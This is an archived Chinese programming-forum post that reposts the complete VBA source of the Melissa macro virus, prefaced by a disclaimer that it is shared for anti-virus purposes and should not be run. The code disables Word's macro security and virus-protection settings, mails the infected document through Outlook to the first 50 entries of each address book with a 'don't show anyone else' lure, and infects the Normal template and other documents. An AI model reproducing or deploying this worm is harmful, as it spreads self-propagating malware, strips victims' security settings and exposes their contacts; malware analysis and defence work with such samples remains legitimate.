精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>编程开发>>● VB和Basic>>〓〓..技术文章连载..〓〓>>VB邮件>>VB邮件(4.29)

主题:VB邮件(4.29)
发信人: msnet()
整理人: cobe(1999-12-17 12:13:03), 站内信件
    为了便于反病毒的,现将病毒"美丽杀手"的源代码公布于众,请大家不要在

计算机上草率的运行此程序,更不要用此来做坏事。由此引起的一切法律后果
本人概不负责。
    注意:此程序不要在计算机上随便运行(不运行此程序是不会有任何问题的)。


标 题: Melissa的源码
williamlong (蓝色月光)  推荐

Private Sub Document_Open() 
On Error Resume Next 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso

ft\Office\9.0\Word\Security", "Level") <> "" Then 
  CommandBars("Macro").Controls("Security...").Enabled = False 
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof

t\Office\9.0\Word\Security", "Level") = 1& 
Else 
  CommandBars("Tools").Controls("Macro").Enabled = False 
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -

 1): Options.SaveNormalPrompt = (1 - 1) 
End If 

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice 
Set UngaDasOutlook = CreateObject("Outlook.Application") 
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") 
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso

ft\Office\", "Melissa?") <> "... by Kwyjibo" Then 
  If UngaDasOutlook = "Outlook" Then 
    DasMapiName.Logon "profile", "password" 
    For y = 1 To DasMapiName.AddressLists.Count 
        Set AddyBook = DasMapiName.AddressLists(y) 
        x = 1 
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) 
        For oo = 1 To AddyBook.AddressEntries.Count 
            Peep = AddyBook.AddressEntries(x) 
            BreakUmOffASlice.Recipients.Add Peep 
            x = x + 1 
            If x > 50 Then oo = AddyBook.AddressEntries.Count 
         Next oo 
         BreakUmOffASlice.Subject = "Important Message From " & Applic

ation.UserName 
         BreakUmOffASlice.Body = "Here is that document you asked for 

... don't show anyone else ;-)" 
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 
         BreakUmOffASlice.Send 
         Peep = "" 
    Next y 
    DasMapiName.Logoff 
  End If 
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof

t\Office\", "Melissa?") = "... by Kwyjibo" 
End If 


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 
NTCL = NTI1.CodeModule.CountOfLines 
ADCL = ADI1.CodeModule.CountOfLines 
BGN = 2 
If ADI1.Name <> "Melissa" Then 
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL 
  Set ToInfect = ADI1 
  ADI1.Name = "Melissa" 
  DoAD = True 
End If 

If NTI1.Name <> "Melissa" Then 
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL 
  Set ToInfect = NTI1 
  NTI1.Name = "Melissa" 
  DoNT = True 
End If 
     
If DoNT <> True And DoAD <> True Then GoTo CYA 

If DoNT = True Then 
  Do While ADI1.CodeModule.Lines(1, 1) = "" 
    ADI1.CodeModule.DeleteLines 1 
  Loop 
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") 


  Do While ADI1.CodeModule.Lines(BGN, 1) <> "" 
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

 
    BGN = BGN + 1 
  Loop 
End If 
   
If DoAD = True Then 
  Do While NTI1.CodeModule.Lines(1, 1) = "" 
    NTI1.CodeModule.DeleteLines 1 
  Loop 
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") 
  Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

 
    BGN = BGN + 1 
  Loop 
End If 

CYA: 

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document

") = False) Then 
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then 
  ActiveDocument.Saved = True  
End If 

'WORD/Melissa written by Kwyjibo 
'Works in both Word 2000 and Word 97 
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! 

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,

 plus triple-word-score, plus fifty points for using all my letters.  

Game's over.  I'm outta here." 
End Sub 

=================================
请订阅:
http://server.com/WebApps/mail-list-subscribe.cgi?id=16852


--
网站主页地址:http://home.hn.cninfo.net/home/msnet
网易上的主页地址:http://www4.netease.com/~aaaaaaaaa
本网站主页镜像地址:http://goodvbhome.yeah.net

※ 修改:.msnet 于 May 15 07:35:28 修改本文.[FROM: 202.103.47.190]
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.103.47.190]

[关闭][返回]